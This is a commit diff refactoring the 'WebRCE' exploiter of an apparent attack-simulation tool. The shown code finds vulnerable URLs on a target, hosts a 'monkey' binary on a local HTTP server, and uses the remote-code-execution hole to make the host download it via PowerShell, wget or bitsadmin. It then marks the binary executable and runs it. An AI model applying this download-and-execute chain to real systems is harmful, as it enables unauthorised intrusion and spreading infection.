Merge pull request #178 from VakarisZ/WebRCE_Framework

Added functions get_monkey_paths and run_backup_commands
This commit is contained in:
itaymmguardicore 2018-08-29 15:01:12 +03:00 committed by GitHub
commit aab8f9295e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 66 additions and 33 deletions

View File

@ -410,8 +410,6 @@ class HTTPTools(object):
return None, None return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.daemon = True
httpd.start() httpd.start()
lock.acquire() lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@ -515,7 +513,7 @@ def get_monkey_depth():
def get_monkey_dest_path(url_to_monkey): def get_monkey_dest_path(url_to_monkey):
""" """
Gets destination path from source path. Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration :return: Corresponding monkey path from configuration
""" """

View File

@ -37,6 +37,7 @@ class WebRCE(HostExploiter):
'win64': self._config.dropper_target_path_win_64} 'win64': self._config.dropper_target_path_win_64}
self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
self.vulnerable_urls = []
def get_exploit_config(self): def get_exploit_config(self):
""" """
@ -77,38 +78,32 @@ class WebRCE(HostExploiter):
return False return False
# Get urls to try to exploit # Get urls to try to exploit
urls = self.build_potential_urls(ports, exploit_config['url_extensions']) urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
vulnerable_urls = [] self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
for url in urls:
if self.check_if_exploitable(url):
vulnerable_urls.append(url)
if exploit_config['stop_checking_urls']:
break
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls: if not self.vulnerable_urls:
return False return False
# Skip if monkey already exists and this option is given # Skip if monkey already exists and this option is given
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True return True
# Check for targets architecture (if it's 32 or 64 bit) # Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
return False return False
# Upload the right monkey to target # Upload the right monkey to target
data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
if data is not False and data['response'] is False: if data is not False and data['response'] is False:
return False return False
# Change permissions to transform monkey into executable file # Change permissions to transform monkey into executable file
if self.change_permissions(vulnerable_urls[0], data['path']) is False: if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
return False return False
# Execute remote monkey # Execute remote monkey
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
return False return False
return True return True
@ -202,6 +197,23 @@ class WebRCE(HostExploiter):
LOG.info("No attack url's were built") LOG.info("No attack url's were built")
return url_list return url_list
def add_vulnerable_urls(self, urls, stop_checking=False):
"""
Gets vulnerable url(s) from url list
:param urls: Potentially vulnerable urls
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
:return: None (we append to class variable vulnerable_urls)
"""
for url in urls:
if self.check_if_exploitable(url):
self.vulnerable_urls.append(url)
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url): def get_host_arch(self, url):
""" """
:param url: Url for exploiter to use :param url: Url for exploiter to use
@ -282,6 +294,21 @@ class WebRCE(HostExploiter):
self.host.os['machine'] = arch self.host.os['machine'] = arch
return True return True
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
If you need multiple commands for the same os you can override this method to add backup commands
:param resp: Response from base command
:param url: Vulnerable url
:param dest_path: Where to upload monkey
:param http_path: Where to download monkey from
:return: Command's response (same response if backup command is not needed)
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
return resp
def upload_monkey(self, url, commands=None): def upload_monkey(self, url, commands=None):
""" """
:param url: Where exploiter should send it's request :param url: Where exploiter should send it's request
@ -290,39 +317,31 @@ class WebRCE(HostExploiter):
:return: {'response': response/False, 'path': monkeys_path_in_host} :return: {'response': response/False, 'path': monkeys_path_in_host}
""" """
LOG.info("Trying to upload monkey to the host.") LOG.info("Trying to upload monkey to the host.")
src_path = get_target_monkey(self.host) if not self.host.os['type']:
if not src_path: LOG.error("Unknown target's os type. Skipping.")
LOG.info("Can't find suitable monkey executable for host %r", host)
return False return False
# Determine which destination path to use paths = self.get_monkey_paths()
LOG.debug("Monkey path found") if not paths:
path = self.get_monkey_upload_path(src_path)
if not path:
return False return False
# Create server for http download and wait for it's startup. # Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
if not http_path: if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.") LOG.debug("Exploiter failed, http transfer creation failed.")
return False return False
LOG.info("Started http server on %s", http_path) LOG.info("Started http server on %s", http_path)
if not self.host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
# Choose command: # Choose command:
if not commands: if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(path, http_path, commands) command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command) resp = self.exploit(url, command)
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
LOG.info("Uploading process finished") LOG.info("Uploading process finished")
return {'response': resp, 'path': path} return {'response': resp, 'path': paths['dest_path']}
def change_permissions(self, url, path, command=None): def change_permissions(self, url, path, command=None):
""" """
@ -421,6 +440,21 @@ class WebRCE(HostExploiter):
"custom dict of monkey's destination paths") "custom dict of monkey's destination paths")
return False return False
def get_monkey_paths(self):
"""
Gets local (used by server) and destination (where to download) paths.
:return: dict of source and destination paths
"""
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)
if not dest_path:
return False
return {'src_path': src_path, 'dest_path': dest_path}
def get_default_dropper_path(self): def get_default_dropper_path(self):
""" """
Gets default dropper path for the host. Gets default dropper path for the host.

View File

@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread):
self._stopped = False self._stopped = False
self.lock = lock self.lock = lock
threading.Thread.__init__(self) threading.Thread.__init__(self)
self.daemon = True
def run(self): def run(self):
class TempHandler(FileServHTTPRequestHandler): class TempHandler(FileServHTTPRequestHandler):